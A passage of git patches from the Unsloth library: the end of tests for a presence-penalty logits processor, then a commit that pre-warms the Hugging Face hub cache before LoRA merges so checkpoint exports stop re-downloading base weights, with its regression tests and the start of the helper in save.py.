+    # A negative generated id (defensive) must be dropped, not wrap to scores[-1].
+    input_ids = torch.tensor([[0, -1]])
+    scores = torch.zeros(1, 5)
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1)
+    # Nothing penalized; in particular the last row (the numpy/torch wrap target
+    # for id -1) is untouched.
+    assert torch.equal(out, torch.zeros(1, 5))
+
+
+def test_mixed_oob_negative_and_valid_ids_only_in_range_penalized():
+    # Completion mixes a valid id (1), an out-of-vocab id (9 >= vocab 5) and a
+    # negative id (-1). Only the in-range distinct id is penalized; OOB/negative
+    # ids are ignored with no crash and no wrong-index wrap. This fails under the
+    # old ``seen[seen < vocab_size]`` filter (id -1 wraps to the last row) and
+    # passes only with the both-ends bound.
+    input_ids = torch.tensor([[0, 1, 9, -1, 1]])  # prompt [0], completion [1, 9, -1, 1]
+    scores = torch.zeros(1, 5)
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1)
+    expected = torch.zeros(1, 5)
+    expected[0, 1] = -1.0  # once per distinct in-range id (multiplicity ignored)
+    assert torch.equal(out, expected)
+    assert out[0, 4].item() == pytest.approx(0.0)  # id -1 did not wrap to the last row
+
+
+def test_dtype_and_device_preserved():
+    input_ids = torch.tensor([[0, 1]])
+    scores = torch.zeros(1, 4, dtype = torch.float16)
+    out = apply_presence_penalty(input_ids, scores, penalty = 1.0, prompt_len = 1)
+    assert out.dtype == torch.float16
+    assert out.device == scores.device
+
+
+def test_processor_none_when_zero():
+    assert _make_presence_penalty_processor(0.0, prompt_len = 0) is None
+
+
+def test_processor_applies_penalty():
+    proc = _make_presence_penalty_processor(1.5, prompt_len = 2)
+    assert proc is not None
+    input_ids = torch.tensor([[0, 1, 3]])
+    scores = torch.zeros(1, 5)
+    out = proc(input_ids, scores)
+    assert out[0, 3].item() == pytest.approx(-1.5)
+
+
+def test_processor_composes_with_other_processors():
+    # LogitsProcessorList must run our processor alongside a pre-existing one.
+    from transformers import LogitsProcessor, LogitsProcessorList
+
+    class _AddToTokenZero(LogitsProcessor):
+        def __call__(self, input_ids, scores):
+            scores[:, 0] = scores[:, 0] + 100.0
+            return scores
+
+    presence = _make_presence_penalty_processor(1.0, prompt_len = 1)
+    combined = LogitsProcessorList([_AddToTokenZero(), *presence])
+    input_ids = torch.tensor([[5, 2]])  # completion = [2]
+    scores = torch.zeros(1, 6)
+    out = combined(input_ids, scores)
+    assert out[0, 0].item() == pytest.approx(100.0)  # other processor ran
+    assert out[0, 2].item() == pytest.approx(-1.0)  # presence ran
+
+
+def test_mlx_presence_penalty_callable():
+    mx = pytest.importorskip("mlx.core", reason = "MLX only ships on arm64 macOS")
+    from core.inference.mlx_inference import _make_mlx_presence_penalty_processor
+
+    proc = _make_mlx_presence_penalty_processor(1.5)
+    # First call = prompt only (latches prompt_len, penalizes nothing).
+    prompt = mx.array([10, 11])
+    logits0 = mx.zeros((1, 20))
+    out0 = proc(prompt, logits0)
+    assert float(out0[0, 10]) == pytest.approx(0.0)
+    # Second call: one completion token (5) appended -> penalized once.
+    seq = mx.array([10, 11, 5])
+    logits1 = mx.zeros((1, 20))
+    out1 = proc(seq, logits1)
+    assert float(out1[0, 5]) == pytest.approx(-1.5)
+    assert float(out1[0, 10]) == pytest.approx(0.0)  # prompt token untouched
+
+
+def test_mlx_presence_penalty_bounds_out_of_range_ids():
+    # Documents (and, on Apple Silicon CI, enforces) the intended MLX bound:
+    # out-of-vocab and negative completion ids must be ignored. MLX does no
+    # bounds checking and OOB indexing is undefined behavior (crash / memory
+    # corruption), so the processor routes stray ids to a discarded scratch slot
+    # and penalizes only in-range distinct ids -- matching the torch filter
+    # seen[(seen >= 0) & (seen < vocab)]. Skips off arm64 macOS where MLX is absent.
+    mx = pytest.importorskip("mlx.core", reason = "MLX only ships on arm64 macOS")
+    from core.inference.mlx_inference import _make_mlx_presence_penalty_processor
+
+    proc = _make_mlx_presence_penalty_processor(1.0)
+    proc(mx.array([10, 11]), mx.zeros((1, 8)))  # first call latches prompt_len = 2
+    # Completion appends a valid id (3), an out-of-vocab id (99 >= vocab 8) and a
+    # negative id (-1); only the in-range id is penalized and nothing crashes.
+    seq = mx.array([10, 11, 3, 99, -1])
+    out = proc(seq, mx.zeros((1, 8)))
+    assert float(out[0, 3]) == pytest.approx(-1.0)
+    for tok in range(8):
+        if tok != 3:
+            assert float(out[0, tok]) == pytest.approx(0.0)
+
+
+# Param propagation: route payload -> orchestrator cmd -> worker gen_kwargs
+_SAMPLING = {
+    "temperature": 0.7,
+    "top_p": 0.8,
+    "top_k": 20,
+    "min_p": 0.05,
+    "repetition_penalty": 1.1,
+    "presence_penalty": 1.5,
+}
+
+
+def test_orchestrator_cmd_carries_all_sampling_params():
+    from core.inference.orchestrator import InferenceOrchestrator
+
+    o = InferenceOrchestrator.__new__(InferenceOrchestrator)
+    cmd = o._build_generate_cmd(
+        "req1",
+        None,
+        messages = [{"role": "user", "content": "hi"}],
+        max_new_tokens = 128,
+        **_SAMPLING,
+    )
+    for key, val in _SAMPLING.items():
+        assert cmd[key] == val, f"{key} dropped/altered in orchestrator cmd"
+
+
+def test_worker_forwards_all_sampling_params_to_backend():
+    from core.inference.worker import _handle_generate
+
+    class _RecordingBackend:
+        last_generation_stats = None
+
+        def __init__(self):
+            self.received = None
+
+        def generate_chat_response(self, **kwargs):
+            self.received = kwargs
+            return iter(())  # empty stream -> loop exits, gen_done is sent
+
+    class _FakeQueue:
+        def __init__(self):
+            self.items = []
+
+        def put(self, item):
+            self.items.append(item)
+
+    cmd = {
+        "type": "generate",
+        "request_id": "r",
+        "messages": [{"role": "user", "content": "hi"}],
+        "max_new_tokens": 128,
+        **_SAMPLING,
+    }
+    backend = _RecordingBackend()
+    _handle_generate(backend, cmd, _FakeQueue(), threading.Event())
+
+    assert backend.received is not None
+    for key, val in _SAMPLING.items():
+        assert backend.received[key] == val, f"{key} dropped/altered in worker gen_kwargs"

From af93868760894958d3325775f3e2547d9bfa9c81 Mon Sep 17 00:00:00 2001
From: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Date: Mon, 6 Jul 2026 23:38:29 -0700
Subject: [PATCH 227/306] Fix repeated base model downloads across checkpoint
 exports (#6896)

* Fix repeated base model downloads across checkpoint exports (#6890)

Pre-warm the HF hub cache with the 16bit base weights before
merge_and_overwrite_lora runs. The merge fetches shards with
hf_hub_download(local_dir=...), which never populates the hub cache, so
temporary merge directories (GGUF checkpoint exports) forced a full
re-download of the base model for every checkpoint. The first export now
downloads once into the cache and later exports copy from it.

Skips itself when already cached, offline, on Kaggle/Colab, for local or
nf4/fp4 bases, non-downloading save methods, or low disk. Opt out with
UNSLOTH_PREWARM_HUB_CACHE=0.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Show MB for small base models in the pre-warm download message

* Harden pre-warm: getattr for model config, abspath for relative HF_HUB_CACHE

- Read config._name_or_path via getattr so a model without a config skips
  cleanly instead of taking the outer error path.
- abspath the cache probe so a relative HF_HUB_CACHE walks up to a real root
  rather than "", which would zero the free-space check and skip pre-warm.

Both from PR review; each covered by a test that fails without the fix.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Pre-warm the live-env HF cache so runtime redirects still hit (#6890)

Resolve the hub cache the same way the merge does (unsloth_zoo _active_caches,
live env) instead of huggingface_hub's import-time-frozen constants.HF_HUB_CACHE,
and pass it as cache_dir to the cached probe, disk check and snapshot_download.

Without this, a runtime HF_HOME/HF_HUB_CACHE redirect (unsloth_zoo
redirect_hf_cache_if_readonly on a read-only default cache, or Studio) makes the
pre-warm populate a different directory than the one the merge reads, so the
cache-copy fast path misses and the base re-downloads on every export anyway.

Adds 3 regression tests covering the cache_dir threading and the redirect case.

* Apply ruff-format kwarg spacing to the pre-warm cache-dir changes

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Pre-warm the 16bit sibling for FP8 bases so their merged_16bit exports reuse the cache too

For a merged_16bit export of an FP8 base with an existing 16bit sibling, the merge
swaps to the sibling and downloads that (unsloth_zoo _resolve_fp8_16bit_sibling), so
pre-warming the FP8 repo missed the cache and re-downloaded the sibling every export.
Mirror the swap and pre-warm the sibling. No sibling still caches the FP8 repo for the
in-place dequant path. Adds 2 regression tests.

* Filter pre-warm shards through the safetensors index like the merge does

Repos that ship a leftover shard set the index does not reference (e.g. granite-3.2)
made the disk gate over-count and snapshot_download fetch shards the merge never reads.
Mirror the merge: on the download path, keep only index-referenced shards. Runs after
the already-cached check so the cached fast path stays network-free. Adds 2 tests.

* Tighten pre-warm comments

---------

Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 .../test_prewarm_base_model_hub_cache.py      | 459 ++++++++++++++++++
 unsloth/save.py                               | 177 +++++++
 2 files changed, 636 insertions(+)
 create mode 100644 tests/saving/test_prewarm_base_model_hub_cache.py

diff --git a/tests/saving/test_prewarm_base_model_hub_cache.py b/tests/saving/test_prewarm_base_model_hub_cache.py
new file mode 100644
index 0000000000..cbb52863ba
--- /dev/null
+++ b/tests/saving/test_prewarm_base_model_hub_cache.py
@@ -0,0 +1,459 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+"""Regression tests for #6890: repeated base-model downloads across checkpoint exports.
+
+merge_and_overwrite_lora downloads missing 16-bit shards with hf_hub_download(local_dir),
+which never populates the persistent HF hub cache; a temporary merge directory (Studio
+GGUF exports delete it) means every checkpoint export re-downloads the full base model.
+_prewarm_base_model_hub_cache snapshot-downloads the base into the hub cache first so
+the zoo's cache-copy fast path is hit on later exports.
+
+unsloth.save cannot be imported on GPU-less hosts, so these tests extract the helper's
+source via ast and exec it against fakes, mirroring the other GPU-free tests.
+"""
+
+from __future__ import annotations
+
+import ast
+import json
+import os
+import types
+from pathlib import Path
+
+import pytest
+
+
+_SAVE_PY = Path(__file__).resolve().parent.parent.parent / "unsloth" / "save.py"
+_SOURCE = _SAVE_PY.read_text(encoding = "utf-8")
+
+
+def _extract_function(name: str) -> str:
+    tree = ast.parse(_SOURCE)
+    for node in ast.walk(tree):
+        if isinstance(node, ast.FunctionDef) and node.name == name:
+            return ast.get_source_segment(_SOURCE, node)
+    raise AssertionError(f"{name} not found in unsloth/save.py")
+
+
+class _FakePeftModel:
+    def __init__(self, name_or_path = "unsloth/gemma-4-31b-it-bnb-4bit"):
+        self.config = types.SimpleNamespace(_name_or_path = name_or_path)
+
+
+class _Recorder:
+    """Callable that records calls and returns/raises per configuration."""
+
+    def __init__(
+        self,
+        result = None,
+        exc = None,
+        results_fn = None,
+    ):
+        self.calls = []
+        self.result = result
+        self.exc = exc
+        self.results_fn = results_fn
+
+    def __call__(self, *args, **kwargs):
+        self.calls.append((args, kwargs))
+        if self.exc is not None:
+            raise self.exc
+        if self.results_fn is not None:
+            return self.results_fn(*args, **kwargs)
+        return self.result
+
+
+def _build_env(
+    monkeypatch,
+    tmp_path,
+    shards = None,
+    cached = False,
+    free_bytes = 10**15,
+    base_source = None,
+    kaggle = False,
+    colab = False,
+    hub_cache = None,
+    live_hub_cache = "__same__",
+    fp8_sibling = None,
+    sibling_source = None,
+    index_weight_map = None,
+):
+    """Exec the extracted helper with stubbed collaborators; returns (fn, stubs)."""
+    shards = (
+        shards
+        if shards is not None
+        else [
+            ("model-00001-of-00002.safetensors", 30 * 1024**3),
+            ("model-00002-of-00002.safetensors", 29 * 1024**3),
+        ]
+    )
+    if base_source is None:
+        base_source = ("unsloth/gemma-4-31b-it", False, None, False, None)
+
+    class _FS:
+        def __init__(self, token = None):
+            pass
+
+        def ls(
+            self,
+            repo,
+            detail = True,
+        ):
+            return [{"name": f"{repo}/{n}", "size": s} for n, s in shards]
+
+    class _LocalMiss(Exception):
+        pass
+
+    hf_hub_download = _Recorder(result = str(tmp_path / "cached"))
+    if not cached:
+        hf_hub_download.exc = _LocalMiss("not cached")
+    # Serve model.safetensors.index.json (the merge's shard filter) while shard cache
+    # probes still miss, so the index-filter path can be exercised without a network.
+    if index_weight_map is not None:
+        _idx_path = tmp_path / "model.safetensors.index.json"
+        _idx_path.write_text(json.dumps({"weight_map": index_weight_map}))
+
+        def _hub_dl(
+            repo_id = None,
+            filename = None,
+            **kw,
+        ):
+            if filename == "model.safetensors.index.json":
+                return str(_idx_path)
+            raise _LocalMiss("not cached")
+
+        hf_hub_download.exc = None
+        hf_hub_download.results_fn = _hub_dl
+    snapshot_download = _Recorder()
+    determine_base_model_source = _Recorder(result = base_source)
+    # For the FP8 -> 16bit sibling swap: return the sibling's (16bit) source when the
+    # helper re-resolves the sibling, else the original base source.
+    if fp8_sibling is not None:
+        _sib_src = sibling_source or (fp8_sibling, False, None, False, None)
+        determine_base_model_source.results_fn = (
+            lambda name, token = None: _sib_src if name == fp8_sibling else base_source
+        )
+    resolve_fp8_16bit_sibling = _Recorder(result = fp8_sibling)
+
+    cache_dir = tmp_path / "hub_cache"
+    cache_dir.mkdir(exist_ok = True)
+
+    hf_module = types.SimpleNamespace(
+        HfFileSystem = _FS,
+        hf_hub_download = hf_hub_download,
+        snapshot_download = snapshot_download,
+        constants = types.SimpleNamespace(
+            HF_HUB_CACHE = hub_cache if hub_cache is not None else str(cache_dir)
+        ),
+    )
+    zoo_module = types.SimpleNamespace(
+        determine_base_model_source = determine_base_model_source,
+        _resolve_fp8_16bit_sibling = resolve_fp8_16bit_sibling,
+    )
+    # Stub the live-env cache resolver the pre-warm uses (matches what the merge reads).
+    _live = (
+        (hub_cache if hub_cache is not None else str(cache_dir))
+        if live_hub_cache == "__same__"
+        else live_hub_cache
+    )
+    hf_cache_module = types.SimpleNamespace(_active_caches = lambda: (None, _live, None))
+    monkeypatch.setitem(__import__("sys").modules, "huggingface_hub", hf_module)
+    monkeypatch.setitem(__import__("sys").modules, "unsloth_zoo.saving_utils", zoo_module)
+    monkeypatch.setitem(__import__("sys").modules, "unsloth_zoo.hf_cache", hf_cache_module)
+
+    fake_shutil = types.SimpleNamespace(
+        disk_usage = lambda path: types.SimpleNamespace(free = free_bytes)
+    )
+
+    prints = []
+    namespace = {
+        "os": os,
+        "shutil": fake_shutil,
+        "PeftModel": _FakePeftModel,
+        "get_model_name": lambda name, load_in_4bit: name.removesuffix("-bnb-4bit"),
+        "IS_KAGGLE_ENVIRONMENT": kaggle,
+        "IS_COLAB_ENVIRONMENT": colab,
+        "print": lambda *a, **k: prints.append(" ".join(str(x) for x in a)),
+    }
+    exec(
+        compile(_extract_function("_prewarm_base_model_hub_cache"), str(_SAVE_PY), "exec"),
+        namespace,
+    )
+    stubs = types.SimpleNamespace(
+        snapshot_download = snapshot_download,
+        hf_hub_download = hf_hub_download,
+        determine_base_model_source = determine_base_model_source,
+        resolve_fp8_16bit_sibling = resolve_fp8_16bit_sibling,
+        prints = prints,
+    )
+    return namespace["_prewarm_base_model_hub_cache"], stubs
+
+
+def test_downloads_base_into_hub_cache(monkeypatch, tmp_path):
+    monkeypatch.delenv("UNSLOTH_PREWARM_HUB_CACHE", raising = False)
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    fn(_FakePeftModel(), save_method = "merged_16bit", token = "tok")
+    assert len(stubs.snapshot_download.calls) == 1
+    _, kwargs = stubs.snapshot_download.calls[0]
+    assert kwargs["repo_id"] == "unsloth/gemma-4-31b-it"
+    # No local_dir: the whole point is populating the persistent cache.
+    assert "local_dir" not in kwargs
+    assert "model-00001-of-00002.safetensors" in kwargs["allow_patterns"]
+    assert "model.safetensors.index.json" in kwargs["allow_patterns"]
+
+
+def test_skips_download_when_already_cached(monkeypatch, tmp_path):
+    fn, stubs = _build_env(monkeypatch, tmp_path, cached = True)
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls == []
+    # The cached check must not hit the network.
+    assert all(kwargs.get("local_files_only") for _, kwargs in stubs.hf_hub_download.calls)
+
+
+def test_skips_when_disk_too_small_for_cache_copy(monkeypatch, tmp_path):
+    fn, stubs = _build_env(monkeypatch, tmp_path, free_bytes = 60 * 1024**3)
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls == []
+
+
+@pytest.mark.parametrize("env_value", ["0", "false", "NO", "off"])
+def test_env_opt_out(monkeypatch, tmp_path, env_value):
+    monkeypatch.setenv("UNSLOTH_PREWARM_HUB_CACHE", env_value)
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls == []
+
+
+@pytest.mark.parametrize("var", ["HF_HUB_OFFLINE", "TRANSFORMERS_OFFLINE"])
+def test_offline_skips(monkeypatch, tmp_path, var):
+    monkeypatch.setenv(var, "1")
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls == []
+
+
+def test_kaggle_and_colab_skip(monkeypatch, tmp_path):
+    for flag in ("kaggle", "colab"):
+        fn, stubs = _build_env(monkeypatch, tmp_path, **{flag: True})
+        fn(_FakePeftModel(), save_method = "merged_16bit")
+        assert stubs.snapshot_download.calls == [], f"{flag} must skip pre-warm"
+
+
+@pytest.mark.parametrize("save_method", ["merged_4bit", "forced_merged_4bit", "lora"])
+def test_non_downloading_save_methods_skip(monkeypatch, tmp_path, save_method):
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    fn(_FakePeftModel(), save_method = save_method)
+    assert stubs.snapshot_download.calls == []
+
+
+def test_local_base_model_skips(monkeypatch, tmp_path):
+    local_dir = tmp_path / "local_base"
+    local_dir.mkdir()
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    fn(_FakePeftModel(name_or_path = str(local_dir)), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls == []
+
+
+def test_quantized_base_skips(monkeypatch, tmp_path):
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        base_source = ("unsloth/gemma-4-31b-it-bnb-4bit", False, None, True, "nf4"),
+    )
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls == []
+
+
+def test_non_peft_model_skips(monkeypatch, tmp_path):
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    fn(object(), save_method = "merged_16bit")
+    assert stubs.determine_base_model_source.calls == []
+    assert stubs.snapshot_download.calls == []
+
+
+def test_consolidated_shard_excluded_when_proper_shards_exist(monkeypatch, tmp_path):
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        shards = [
+            ("consolidated.safetensors", 14 * 1024**3),
+            ("model-00001-of-00001.safetensors", 14 * 1024**3),
+        ],
+    )
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    _, kwargs = stubs.snapshot_download.calls[0]
+    assert "consolidated.safetensors" not in kwargs["allow_patterns"]
+    assert "model-00001-of-00001.safetensors" in kwargs["allow_patterns"]
+
+
+def test_consolidated_only_repo_is_kept(monkeypatch, tmp_path):
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        shards = [("consolidated.safetensors", 14 * 1024**3)],
+    )
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    _, kwargs = stubs.snapshot_download.calls[0]
+    assert "consolidated.safetensors" in kwargs["allow_patterns"]
+
+
+def test_listing_failure_is_swallowed(monkeypatch, tmp_path):
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    stubs.determine_base_model_source.exc = RuntimeError("HF is down")
+    fn(_FakePeftModel(), save_method = "merged_16bit")  # must not raise
+    assert stubs.snapshot_download.calls == []
+
+
+def test_gpt_oss_bf16_mxfp4_swap_skips(monkeypatch, tmp_path):
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    fn(
+        _FakePeftModel(name_or_path = "unsloth/gpt-oss-20b-BF16"),
+        save_method = "mxfp4",
+    )
+    assert stubs.snapshot_download.calls == []
+
+
+def test_missing_config_skips_cleanly(monkeypatch, tmp_path):
+    # A model whose config is None must skip silently, not fall into the outer
+    # exception handler that prints a misleading "Could not pre-cache" warning.
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    model = _FakePeftModel()  # a PeftModel instance so the isinstance guard passes
+    model.config = None
+    fn(model, save_method = "merged_16bit")
+    assert stubs.determine_base_model_source.calls == []
+    assert stubs.snapshot_download.calls == []
+    assert not any(
+        "Could not pre-cache" in p for p in stubs.prints
+    ), "missing config took the error path instead of a clean skip"
+
+
+def test_relative_hub_cache_does_not_falsely_skip(monkeypatch, tmp_path):
+    # A relative HF_HUB_CACHE whose leaf does not exist yet must still resolve to a real
+    # root for the disk probe; without abspath the walk-up hits "" and pre-warm is skipped.
+    monkeypatch.chdir(tmp_path)
+    fn, stubs = _build_env(monkeypatch, tmp_path, hub_cache = "relcache/hub")
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert len(stubs.snapshot_download.calls) == 1, "relative cache path falsely skipped pre-warm"
+
+
+def test_generic_save_calls_prewarm_before_merge():
+    """unsloth_generic_save must pre-warm the cache before merge_and_overwrite_lora."""
+    tree = ast.parse(_SOURCE)
+    fn = next(
+        node
+        for node in ast.walk(tree)
+        if isinstance(node, ast.FunctionDef) and node.name == "unsloth_generic_save"
+    )
+    body_src = ast.get_source_segment(_SOURCE, fn)
+    prewarm_pos = body_src.find("_prewarm_base_model_hub_cache(")
+    merge_pos = body_src.find("merge_and_overwrite_lora(")
+    assert prewarm_pos != -1, "unsloth_generic_save no longer pre-warms the hub cache"
+    assert merge_pos != -1
+    assert prewarm_pos < merge_pos, "pre-warm must run before the merge downloads shards"
+
+
+def test_prewarm_downloads_into_live_env_cache(monkeypatch, tmp_path):
+    # Download must target the live-env cache (what the merge reads), via cache_dir.
+    fn, stubs = _build_env(monkeypatch, tmp_path, live_hub_cache = "/mnt/persistent/hf/hub")
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls[0][1]["cache_dir"] == "/mnt/persistent/hf/hub"
+
+
+def test_prewarm_survives_runtime_cache_redirect(monkeypatch, tmp_path):
+    # Frozen constants (stale dir) vs the merge's runtime-redirected dir: the pre-warm
+    # must follow the redirect, else the cache-copy fast path misses and #6890 is unfixed.
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        hub_cache = "/read-only/original/hub",
+        live_hub_cache = "/writable/redirect/hub",
+    )
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls[0][1]["cache_dir"] == "/writable/redirect/hub"
+
+
+def test_cached_probe_uses_live_env_cache(monkeypatch, tmp_path):
+    # The already-cached fast path must probe the live-env cache dir too.
+    fn, stubs = _build_env(
+        monkeypatch, tmp_path, cached = True, live_hub_cache = "/mnt/persistent/hf/hub"
+    )
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.hf_hub_download.calls, "cached probe did not run"
+    assert all(
+        kw.get("cache_dir") == "/mnt/persistent/hf/hub" for _, kw in stubs.hf_hub_download.calls
+    )
+
+
+def test_fp8_base_prewarms_16bit_sibling_not_fp8_repo(monkeypatch, tmp_path):
+    # A merged_16bit export of an FP8 base with a 16bit sibling merges onto the sibling,
+    # so the pre-warm must cache the sibling (what the merge downloads), not the FP8 repo.
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        base_source = ("unsloth/Model-FP8", False, None, True, "fp8"),
+        fp8_sibling = "unsloth/Model",
+    )
+    fn(_FakePeftModel(name_or_path = "unsloth/Model-FP8"), save_method = "merged_16bit")
+    assert stubs.resolve_fp8_16bit_sibling.calls, "sibling resolver was not consulted"
+    assert len(stubs.snapshot_download.calls) == 1
+    assert stubs.snapshot_download.calls[0][1]["repo_id"] == "unsloth/Model"
+
+
+def test_fp8_base_without_sibling_still_prewarms_fp8_repo(monkeypatch, tmp_path):
+    # No sibling: the merge dequants the FP8 base in place, so caching the FP8 repo helps.
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        base_source = ("unsloth/Model-FP8", False, None, True, "fp8"),
+        fp8_sibling = None,
+    )
+    fn(_FakePeftModel(name_or_path = "unsloth/Model-FP8"), save_method = "merged_16bit")
+    assert len(stubs.snapshot_download.calls) == 1
+    assert stubs.snapshot_download.calls[0][1]["repo_id"] == "unsloth/Model-FP8"
+
+
+def test_prewarm_filters_shards_through_index(monkeypatch, tmp_path):
+    # A repo with a leftover shard not referenced by the index: the merge keeps only the
+    # indexed shards, so the pre-warm must too (else the disk gate over-counts and
+    # snapshot_download fetches the unused leftover).
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        shards = [
+            ("model-00001-of-00002.safetensors", 10 * 1024**3),
+            ("model-00002-of-00002.safetensors", 10 * 1024**3),
+            ("leftover-00001-of-00001.safetensors", 10 * 1024**3),
+        ],
+        index_weight_map = {
+            "a.weight": "model-00001-of-00002.safetensors",
+            "b.weight": "model-00002-of-00002.safetensors",
+        },
+    )
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    allow = stubs.snapshot_download.calls[0][1]["allow_patterns"]
+    assert "leftover-00001-of-00001.safetensors" not in allow
+    assert "model-00001-of-00002.safetensors" in allow
+    assert "model-00002-of-00002.safetensors" in allow
+
+
+def test_prewarm_keeps_all_shards_when_index_matches(monkeypatch, tmp_path):
+    # No leftover: every listed shard is indexed, so none are dropped.
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        shards = [
+            ("model-00001-of-00002.safetensors", 10 * 1024**3),
+            ("model-00002-of-00002.safetensors", 10 * 1024**3),
+        ],
+        index_weight_map = {
+            "a.weight": "model-00001-of-00002.safetensors",
+            "b.weight": "model-00002-of-00002.safetensors",
+        },
+    )
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    allow = stubs.snapshot_download.calls[0][1]["allow_patterns"]
+    assert "model-00001-of-00002.safetensors" in allow
+    assert "model-00002-of-00002.safetensors" in allow
diff --git a/unsloth/save.py b/unsloth/save.py
index 020c63a9e2..0b408a1889 100644
--- a/unsloth/save.py
+++ b/unsloth/save.py
@@ -3693,6 +3693,182 @@ from unsloth_zoo.llama_cpp import (
 )
 
 
+def _prewarm_base_model_hub_cache(
+    model,
+    save_method = "merged_16bit",
+    token = None,
+):
+    """Download the 16-bit base weights into the persistent HF hub cache before the merge.
+
+    merge_and_overwrite_lora fetches missing shards with hf_hub_download(local_dir = ...),
+    which never populates the hub cache. When the merge directory is temporary (GGUF
+    checkpoint exports delete it after conversion), every export re-downloads the full
+    base model (#6890). Pre-warming the cache makes the first export download once and
+    later exports copy from the cache. Best-effort: any failure or skip falls back to
+    the streaming download. Disable with UNSLOTH_PREWARM_HUB_CACHE=0.
+    """
+    _false = ("0", "false", "no", "off")
+    if os.environ.get("UNSLOTH_PREWARM_HUB_CACHE", "1").strip().lower() in _false:
+        return
+    if IS_KAGGLE_ENVIRONMENT or IS_COLAB_ENVIRONMENT:
+        return
+    _true = ("1", "true", "yes", "on")
+    if (
+        os.environ.get("HF_HUB_OFFLINE", "").strip().lower() in _true
+        or os.environ.get("TRANSFORMERS_OFFLINE", "").strip().lower() in _true
+    ):
+        return
+    # Only the 16bit / mxfp4 merges download the base model; merged_4bit and lora do not.
+    if save_method not in ("merged_16bit", "mxfp4"):
+        return
+    if not isinstance(model, PeftModel):
+        return
+
+    try:
+        # getattr so a model without a config / _name_or_path skips instead of raising.
+        name_or_path = getattr(getattr(model, "config", None), "_name_or_path", None)
+        if not name_or_path:
+            return
+        try:
+            model_name = get_model_name(name_or_path, load_in_4bit = False)
+        except Exception:
+            model_name = name_or_path
+        if not model_name or os.path.isdir(model_name):
+            return  # local checkpoints are copied, never downloaded
+
+        # The merge may swap a gpt-oss "-BF16" repo for its MXFP4 variant, so skip it.
+        if save_method == "mxfp4" and model_name.endswith("-BF16"):
+            return
+
+        from unsloth_zoo.saving_utils import determine_base_model_source
+
+        model_name, is_local_path, _, base_is_quantized, quant_type = determine_base_model_source(
+            model_name, token
+        )
+        if not model_name or is_local_path:
+            return
+        # Mirror the merge: an FP8 base with a 16bit sibling merges onto the sibling, so
+        # pre-warm the sibling (what the merge downloads), not the FP8 repo (#6890).
+        if base_is_quantized and quant_type == "fp8" and save_method == "merged_16bit":
+            try:
+                from unsloth_zoo.saving_utils import _resolve_fp8_16bit_sibling
+                sibling = _resolve_fp8_16bit_sibling(model_name, token)
+            except Exception:
+                sibling = None
+            if sibling:
+                model_name, is_local_path, _, base_is_quantized, quant_type = (
+                    determine_base_model_source(sibling, token)
+                )
+                if not model_name or is_local_path:
+                    return
+        if base_is_quantized and quant_type in ("nf4", "fp4"):
+            return  # the 16bit merge refuses these bases; nothing worth caching
+
+        from huggingface_hub import HfFileSystem, hf_hub_download, snapshot_download
+
+        # Resolve the cache from the live env like the merge, not huggingface_hub's frozen
+        # constants: a runtime cache redirect (read-only default, Studio) would else miss (#6890).
+        try:
+            from unsloth_zoo.hf_cache import _active_caches
+            _hub_cache = _active_caches()[1]
+            hub_cache_dir = str(_hub_cache) if _hub_cache is not None else None
+        except Exception:
+            hub_cache_dir = None
+
+        # Mirror the zoo's shard listing (drop consolidated.safetensors when proper
+        # shards coexist) so the cached set is a superset of what the merge looks up.
+        shard_names = []
+        total_size_in_bytes = 0
+        for x in HfFileSystem(token = token).ls(model_name, detail = True):
+            if x["name"].endswith(".safetensors"):
